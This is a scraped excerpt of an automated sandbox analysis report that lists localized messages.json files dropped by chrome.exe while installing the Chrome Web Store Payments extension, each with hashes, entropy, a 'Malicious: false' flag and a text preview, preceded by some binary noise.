;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$|..|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z
....).(6..@?v.;~..2..c....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...|!..A..L.+.=...kP.!.1..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 796

Entropy (8bit): 4.864931792423268

Encrypted: false

SSDEEP: 12:1HEJMLkSlwZGGMLkSlwZ+WYpU34f145Gb+dgoxTyO8ZpU34f1L0frhmJ03OyZnLt:1HE7n4gn8WYpYrbhz8ZpotHOGAOf6aD

MD5: 6F8E288A9AD5B1ED8633B430E2B4D4CA

SHA1: F671D3D4BEFA431D1946D706F4192D44E29B6F08

SHA-256: A114E2783D0E9B12155017323BA70838F0F82A71C7EE8DC1F115AE36991241F8

SHA-512: 0F87F3F0D115B872288949E59ACD3CD41B1FBC64A622D8FDA6D71FAFC5A900D92ADFBB0E7EB926F2A8759BBAA0896D48728FB719BBF5EF54AC21027328F770
0C

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "........ . ... ........ .. Chrome"..   },..   "app_name": {..      "message": "........ . ... ........ .. Chrome"..   },..   "craw_app_unavailable": {..      
"message": "........... .... ...... .. ............."..   },..   "craw_connect_to_network": {..      "message": "...., ........ .. . ......"..   },..   "iap_unavailable": {..      "message": "........... .... 
...... .. .......... ....... .. ........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "...., ...... . 
Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 675

Entropy (8bit): 4.536753193530313

Encrypted: false

SSDEEP: 12:1HEJ0gbbGG0gbb+WYpU34g3YbiLO+dgyGFoO8ZpU34+puiPmb03OyZnLAOfTYABk:1HE5baib6WYpm31Lt0Z8Zp8pxOGAOfKD

MD5: 1FDAFC926391BD580B655FBAF46ED260

SHA1: C95743C3F43B2B099FEBEBC5BD850F0C20E820AC

SHA-256: C67898B67F9C9209EAFDA6532B62D5789863CFB855998DD6A70E7775316CEC20

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\462f2cf1-f88b-4b6a-a1ce-2252d1dfe89c.tmp

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\bg\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\ca\messages.json
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SHA-512: 39D95D45C5746DA3BAA7AE6A3344EA17D7A7C3569C2A56959FF119261DA08C747A320FCF701AC72B8DBDBF8BF06FD8B239017A282CDDA444F3826D4EC672CB
B4

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Sistema de pagaments de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagaments de Chrome Web 
Store"..   },..   "craw_app_unavailable": {..      "message": "Ara mateix aquesta aplicaci. no est. disponible."..   },..   "craw_connect_to_network": {..      "message": "C
onnecteu-vos a una xarxa."..   },..   "iap_unavailable": {..      "message": "La funci. Pagaments a l'aplicaci. no est. disponible actualment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicieu la sessi. a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 641

Entropy (8bit): 4.698608127109193

Encrypted: false

SSDEEP: 12:1HEJfZGGfZ+WYpU34OBh+dgN/O8ZpU34j05U03OyZnLAOfTYWc:1HEl4G8WYpdt8Zpq5TOGAOfW

MD5: 76DEC64ED1556180B452A13C83171883

SHA1: CFB1E56FD587BCDC459C1D9A683B71F9849058F9

SHA-256: 32290D69A90E6BAAC428B10382C99221B12773BB9A184F3B93DFB48A4F6D7A40

SHA-512: 5230A217968D5DC463E2E92D704544311A721E5CEF65C3125CBD8DEB9C0293D3BFB5C820A6011ABF77095FDEE7DAF67D541DC202B0C9CDB0908CBB85D84885
CB

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   "app_name": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   
"craw_app_unavailable": {..      "message": "Aplikace v sou.asn. dob. nen. dostupn.."..   },..   "craw_connect_to_network": {..      "message": "P.ipojte se pros.m k s.ti."..   
},..   "iap_unavailable": {..      "message": "Platby v aplikaci aktu.ln. nejsou k dispozici."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "P.ihlaste se do Chromu."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 624

Entropy (8bit): 4.5289746475384565

Encrypted: false

SSDEEP: 12:1HEJJMKKFZGGJMKKFZ+WYpU34OHu+dgxlCZO8ZpU34J4Wu03OyZnLAOfTYzD:1HErMKfqMKVWYpM6lL8ZpDNOGAOfiD

MD5: 238B97A36E411E42FF37CEFAF2927ED1

SHA1: 4E47AC90BA24C8F4724D9293FA40CFD4ADA66FE0

SHA-256: 4977D4A053542FF66967FAED6B06585DD70E68E20BFEB533B66FE3287F9655D9

SHA-512: FD0742D47B5F5AB9AAD9B4C3D57F63CB693E060EECE123A72036C6E92156D099495C7E9E9CC6DC83EEBCDDCC4B4C81FB47E4C9559DA3EBA024780FFF10C53
E0A

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Betalinger i Chrome Webshop"..   },..   "app_name": {..      "message": "Betalinger i Chrome Webshop"..   },..   "craw_app_u
navailable": {..      "message": "Appen er ikke tilg.ngelig i .jeblikket."..   },..   "craw_connect_to_network": {..      "message": "Opret forbindelse til et netv.rk."..   },..   
"iap_unavailable": {..      "message": "Betaling i appen er ikke tilg.ngelig i .jeblikket."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comp
leted."..   },..   "please_sign_in": {..      "message": "Log ind p. Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 651

Entropy (8bit): 4.583694000020627

Encrypted: false

SSDEEP: 12:1HEJQ1ZGGQ1Z+WYpU34pCEMT+dgJMlCTO8ZpU34p6FK603OyZnLAOfTYJ6K:1HEzWWYp3Bewv8Zp7k4OGAOfQj

MD5: 6B3E916E8C1991AA0453CBA00FEDCAAA

SHA1: D6366D15912E40CA107FD42BFE9579C3336A51F9

SHA-256: A62FFAB910E31531758EEE48B2CC71A8857BEC3021DEAD50B668CBA3C8667053

SHA-512: 87EA4311B61F29543B13F3E17DFA919D0C320B4FE370CC152E0B1514BCA79B0ABB526DDCF08621D6EBFA48923EE8FB4C667EFB120A72BD9583EEBEE7BFB80
552

Malicious: false

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\cs\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\da\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\de\messages.json
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Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "app_name": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "craw_app_una
vailable": {..      "message": "Die App ist momentan nicht verf.gbar."..   },..   "craw_connect_to_network": {..      "message": "Bitte stellen Sie eine Verbindung zu einem 
Netzwerk her."..   },..   "iap_unavailable": {..      "message": "In-App-Zahlungen sind momentan nicht m.glich."..   },..   "jwt_retrieve_failed": {..      "message": "The trans
action could not be completed."..   },..   "please_sign_in": {..      "message": "Bitte melden Sie sich in Chrome an."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 787

Entropy (8bit): 4.973349962793468

Encrypted: false

SSDEEP: 24:1HEw+aZ+6WYpbWZe80A08ZpCGyDVWlOGAOf+XD:WguYpCZnpEZbGoD

MD5: 05C437A322C1148B5F78B2F341339147

SHA1: AB53003A678E44A170E73711FBD9949833BBF3AA

SHA-256: A052C32B4FCAC61152EB0ADB2C260FB6A8256AD104AA0013DB93E9798D41A070

SHA-512: C36CB9202A34356DD06D377E2A088F428D0B8EBE7D2E54F8380485E9D94A0598D7F651C1E7A2FD55BE481D49C02B0812F2BA335E08611EC85EE0BD60784A6B4
0

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "........ ... Chrome Web Store"..   },..   "app_name": {..      "message": "........ ... Chrome Web Store"..   },..   "craw_app_unavail
able": {..      "message": ". ........ .... .. ..... ... ..... .........."..   },..   "craw_connect_to_network": {..      "message": ".......... .. ... ......."..   },..   "iap_unavailable": {..      
"message": ".. ........ ..... ......... ... ..... ..... .. ...... ..........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": ".......... ... Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\el\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\en\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\en_GB\messages.json
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Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 661

Entropy (8bit): 4.450938335136508

Encrypted: false

SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34lPbdlVo03OyZnLAOfTY6xjD:1HEvaC6WYpcDeEFxq8ZpNl5OGAOffD

MD5: 82719BD3999AD66193A9B0BB525F97CD

SHA1: 41194D511F1ACC16C1CA828AC81C18C8C6B47287

SHA-256: 4DB9B2721E625C18B9E05C04B31AF5D9694712F1CAAF6219ABE34BB08E5DB1C7

SHA-512: D4C49B43427799B6292CEED11CACB1D76F7CE43EBF402B43B638A6EB2B414ED0981E386CB8CDF0B51D1BD9552934FE25B2F6392266BB73D8C9A691F65BCE01
28

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "Los pagos en la aplicaci.n no est.n disponibles en este momento."..   },..   "jwt_retrieve_failed": {..      "message": 
"The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicia sesi.n en Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 637

Entropy (8bit): 4.47253983486615

Encrypted: false

SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34GLO03OyZnLAOfTYiJD:1HEvaC6WYpcDeEFxq8Zp4LlOGAOfvD

MD5: 6B2583D8D1C147E36A69A88009CBEBC7

SHA1: 4D4DEEB4BE6AA0181825F3371A761ABC5B4D5937

SHA-256: 6659BC3705311D7641A73995DCFEA80C7734F2F4EBBC3787B3892A240348324F

SHA-512: 37F0DBFCC1B5A2B8E4C92C49D2D9DEEF25616421350324F57E0149A45A6CCB437F5E3CBE97412C4B5DBBF2593783C7DF71E9C25A851AEAE6E4764C545723FA
53

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "En este momento, Pagos En-Apps no est. disponible."..   },..   "jwt_retrieve_failed": {..      "message": "The tr
ansaction could not be completed."..   },..   "please_sign_in": {..      "message": "Accede a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 595

Entropy (8bit): 4.467205425399467

Encrypted: false

SSDEEP: 12:1HEJfPGGGfPG+WYpU34Ze7z+dgrW9O8ZpU34ZwZz03OyZnLAOfTYgoLIR:1HEdvqlWYpTeObk8ZpT/OGAOfuLIR

MD5: CFF6CB76EC724B17C1BC920726CB35A7

SHA1: 14ED068251D65A840F00C05409D705259D329FFC

SHA-256: C85800BF45942FCC7FD6B1DF929C25F9CC2A977A6678966BD03D4B6B69889AFD

SHA-512: 53D7D01BB30C0306DE65A79FD9551D2E8C1F71F4F45F71906B009071CB3E0F231E6A50FDD78773E9B4DE94085BC7B97F829842FA21A89A2080D33458B745C46F

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome'i veebipoe maksed"..   },..   "app_name": {..      "message": "Chrome'i veebipoe maksed"..   },..   "craw_app_unavail
able": {..      "message": "Rakendus pole praegu saadaval."..   },..   "craw_connect_to_network": {..      "message": "Looge .hendus v.rguga."..   },..   "iap_unavailable": {..    
  "message": "Rakendusesisesed maksed ei ole praegu saadaval."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "Logige Chrome'i sisse."..   }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\es\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\es_419\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\et\messages.json
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 647

Entropy (8bit): 4.595421267152647

Encrypted: false

SSDEEP: 12:1HEJRuzGGRuz+WYpU34ujSBu+dgYO8ZpU34J+Bu03OyZnLAOfTY5HN:1HEFcWYpPNa8ZpD+FOGAOfEHN

MD5: 3A01FEE829445C482D1721FF63153D16

SHA1: F3EAAADDC03F943FC88B30B67F534AA13E3336DD

SHA-256: 0BDE54B20845124113383B6EB81E43A0F05E4EB0C44BEE3C1DFAC4CC5FEC2836

SHA-512: 3B92B6C86D30FD36AA3CEFF8773BA60C3FC5CC19C693540137044C5838A5503895C770C0336A4D0A3DB5E42F3FB36274D8D3F85B9DCA2F3EC0E974FDDB0BEA
D8

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Storen maksut"..   },..   "app_name": {..      "message": "Chrome Web Storen maksut"..   },..   "craw_app_unavail
able": {..      "message": "Sovellus ei ole t.ll. hetkell. k.ytett.viss.."..   },..   "craw_connect_to_network": {..      "message": "Muodosta verkkoyhteys."..   },..   "iap_unavai
lable": {..      "message": "Sovelluksen sis.iset maksut eiv.t ole t.ll. hetkell. k.ytett.viss.."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Kirjaudu sis..n Chromeen."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 658

Entropy (8bit): 4.5231229502550745

Encrypted: false

SSDEEP: 12:1HEJADlbGGADlb+WYpU34hTUT+dgHfZAFFZO8ZpU34hTjzeT03OyZnLAOfTYHfvF:1HEYah6WYp7TUSoxOS8Zp7TOsOGAOfqV

MD5: 57AF5B654270A945BDA8053A83353A06

SHA1: EEEF7A4F869F97CF471A05D345E74F982D15E167

SHA-256: EC002ED92359F67818B49455DFC579E140368E6A004080AF022FD4F57F6B03F2

SHA-512: 5F0AE839FCF3F4EA48FF41A76655AE0F3821564AFD5D42FBB9FBB9A38E8D8F7BB5E9B6F71064588CD441261F644095A44A755C134CE546D506D9A21E488BAF5
2

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   },..   "app_name": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Kasalukuyang hindi available ang app."..   },..   "craw_connect_to_network": {..      "message": "Mangyaring kumonekta 
sa isang network."..   },..   "iap_unavailable": {..      "message": "Kasalukuyang hindi available ang Mga Pagbabayad na In-App."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Mangyaring mag-sign in sa Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 677

Entropy (8bit): 4.552569602149629

Encrypted: false

SSDEEP: 12:1HEJALf/nbGGALf/nb+WYpU34Owdgbyb+dgdQjO8ZpU34ITQpGnbyb03OyZnLAO8:1HE4Hna1Hn6WYpNdgpY8ZpSTQwnBOGAh

MD5: 8D11C90F44A6585B57B933AB38D1FFF8

SHA1: 3F9D44EA8807069A32AACA2AAAD02FD892E6CC90

SHA-256: 599491F8C52B945C16C441ADF45BFD45AFAE046DA07757D97C56AF4DE75ED3B5

SHA-512: D7EF7F5AD7EF1A1595825D79B69E2B1E988AD3CF1F3881496FCCD30F241E4E9C6E457F9F5D0F855DE3536DB7A40C3E1C55946B50D3F556F4A35285066A0CD6F
7

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   "app_name": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   
"craw_app_unavailable": {..      "message": "Application indisponible pour le moment."..   },..   "craw_connect_to_network": {..      "message": "Veuillez vous connecter . un 
r.seau."..   },..   "iap_unavailable": {..      "message": "Les paiements via l'application ne sont pas disponibles pour le moment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Veuillez vous connecter . Chrome."..   }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\fi\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\fil\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\fr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\hi\messages.json
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 835

Entropy (8bit): 4.791154467711985

Encrypted: false

SSDEEP: 24:1HEs07J0JWYp9vnCSVLP8Zp6CsOGAOf8SLm:Wh7qgYp1CMLUph1GiSLm

MD5: E376D757C8FD66AC70A7D2D49760B94E

SHA1: 1525C5B1312D409604F097768503298EC440CC4D

SHA-256: 8106D98C4F8DA16DB698444409558E29CC96735E188BFA303C333A5D99231C1D

SHA-512: 673F3F259AF2946E4F49BBED14A2A70D44BF9FDA9D7A71DC9172BA9B7B3C7F7062B16D29682B638D485B0520ED6F99E7A735F28C7C719B539559005B69FA7555

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ... ..... ......"..   },..   "app_name": {..      "message": "Chrome ... ..... ......"..   },..   "craw_app_unavailable": {..      "messa
ge": "......... .. ... ...... .... ..."..   },..   "craw_connect_to_network": {..      "message": "..... ....... .. ...... ....."..   },..   "iap_unavailable": {..      "message": "..-.. ...... ... ...... .... ..."..   
},..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "..... Chrome ... .... .. ....."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 618

Entropy (8bit): 4.56999230891419

Encrypted: false

SSDEEP: 12:1HEJGiimxmbZGGGiimxmbZ+WYpU34OBOEuhopIO+dgcapZO8ZpU34GiiZrMrQphK:1HE4H4TH8WYpNjTta28ZpQVLP0SOGAOK

MD5: 8185D0490C86363602A137F9A261CC50

SHA1: 5BD933B874441CEACB9201CCC941FF67BAED6DC0

SHA-256: A2B2EC359A9DD9DCCCE02859CE1E738BD30FAA4A05F1DC522893FFDF722BBC15

SHA-512: D7629978FC031EA5F716F9C1065FB2FEAB48C15F10CD68830DC966FA1002C03DDC7ACDE314C7D075F9F3A0A68552A6ACBCCDEE24CF20B6C3DD1BCE6562D03
96E

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "app_name": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "craw
_app_unavailable": {..      "message": "Aplikacija trenuta.no nije dostupna."..   },..   "craw_connect_to_network": {..      "message": "Pove.ite se s mre.om."..   },..   
"iap_unavailable": {..      "message": "Pla.anje u aplikaciji trenuta.no nije dostupno."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comple
ted."..   },..   "please_sign_in": {..      "message": "Prijavite se na Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 683

Entropy (8bit): 4.675370843321512

Encrypted: false

SSDEEP: 12:1HEJVJiGGVJi+WYpU34Hpo9O+dgMmfgijO8ZpU34Huo9O03OyZnLAOfTYBIAYm:1HEVrk5WYpQzTUg/8ZpwoXOGAOfYIAd

MD5: 85609CF8623582A8376C206556ED2131

SHA1: 1E16EB70DB5E59BB684866FF3E3925C2DEF25A12

SHA-256: 32A249749F12ADB6A220BF9ADC272C7E5D9AD5497A38B0086D961E3ABA17FBC6

SHA-512: 27883430865D3CFA6EDFE8C6CE1442BD96150B5CE520CCF7D556A330CAA6392C712B47BD86F7350E174876BC681F6DEC94D1312402655B0AF90883A2899EC78B

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Internetes .ruh.z Fizet.si rendszere"..   },..   "app_name": {..      "message": "Chrome Internetes .ruh.z Fizet.si r
endszere"..   },..   "craw_app_unavailable": {..      "message": "Az alkalmaz.s jelenleg nem .rhet. el."..   },..   "craw_connect_to_network": {..      "message": "K.rj.k, csatlako
zzon egy h.l.zathoz."..   },..   "iap_unavailable": {..      "message": "Az alkalmaz.son bel.li fizet.s jelenleg nem .rhet. el."..   },..   "jwt_retrieve_failed": {..      "message": "The 
transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Jelentkezzen be a Chrome-ba."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 604

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\hr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\hu\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\id\messages.json
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Entropy (8bit): 4.465685261172395

Encrypted: false

SSDEEP: 12:1HEJs25bGGs25b+WYpU34ORBHAeSJ+dgkmO8ZpU34s22C/SzFAs03OyZnLAOfTYR:1HEBaA6WYpaHFH8ZptOYOGAOf2D

MD5: EAB2B946D1232AB98137E760954003AA

SHA1: 60BDC2937905B311D2C9844DF2D639D7AC9F7F67

SHA-256: C6E8800450602DE0F39FE9F6854472383813FB454B08ABAE7E25A9167CE004C3

SHA-512: 970FEC9A9EF0BAF7F693C4C5977F3B47914579C5B5414FCE9DBB5E4574659A5BB9AD2DE0CC886B368F49C019785AF7D2D7FE82F71341F039EADC399ED776CA
12

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pembayaran Chrome Webstore"..   },..   "app_name": {..      "message": "Pembayaran Chrome Webstore"..   },..   "cr
aw_app_unavailable": {..      "message": "Aplikasi tidak tersedia saat ini."..   },..   "craw_connect_to_network": {..      "message": "Sambungkan ke jaringan."..   },..   
"iap_unavailable": {..      "message": "Pembayaran Dalam Aplikasi saat ini tidak tersedia."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be co
mpleted."..   },..   "please_sign_in": {..      "message": "Harap masuk ke Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 603

Entropy (8bit): 4.479418964635223

Encrypted: false

SSDEEP: 12:1HEJsqd/bGGsqd/b+WYpU34OcX4+dgUvIO8ZpU34vq703OyZnLAOfTYsD:1HEXd/aKd/6WYpZrv58ZpskOGAOfzD

MD5: A328EEF5E841E0C72D3CD7366899C5C8

SHA1: 2851ED658385804E87911643F5A4200B1FB26E13

SHA-256: CD891C45F7586FB4A2514205A11F260E4A6D4482FA03D901909DD9F57BE0536D

SHA-512: E47297896E981774EC3B59D41B89D6BA9333F6B4435EB9727D8645A46B10C7D408ADE06844871FA757382FBE7E645276449DB7B1B23BC59C9A71A5CB5A5ECC57

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pagamenti Chrome Web Store"..   },..   "app_name": {..      "message": "Pagamenti Chrome Web Store"..   },..   "craw_app_una
vailable": {..      "message": "App al momento non disponibile."..   },..   "craw_connect_to_network": {..      "message": "Collegati a una rete."..   },..   "iap_unavailable": {..      
"message": "La funzione Pagamenti In-App non . al momento disponibile."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "Accedi a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 697

Entropy (8bit): 5.20469020877498

Encrypted: false

SSDEEP: 12:1HEJ07uGG07u+WYpU34DB+dgnsVztO8ZpU34MwiB03OyZnLAOfTYmSH:1HEcnDNWYp1kxU8Zp2wiqOGAOfpSH

MD5: 9B3A5D473C3F2BBFAEECE94A07A940B8

SHA1: 61BACA342CF766BBA15C7B4D892A0E7DAC9405AA

SHA-256: 706312A4A2AEF3317223F141EB2B82685345B7EED444F16BB4DF3A272716DA1F

SHA-512: 94F6FEE9A11BD890AB8211C98D1CC142348961EBCF756F66477A3E3A76519804B70BE0AE4E551739F8AFE32D7ADE6EDE04EF6B9B9EED03E3A857E6058EEDD4
C6

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ........"..   },..   "app_name": {..      "message": "Chrome ........"..   },..   "craw_app_unavailable": {..      "message": "..........
......."..   },..   "craw_connect_to_network": {..      "message": "................"..   },..   "iap_unavailable": {..      "message": "......................."..   },..   "jwt_retrieve_failed": {..      
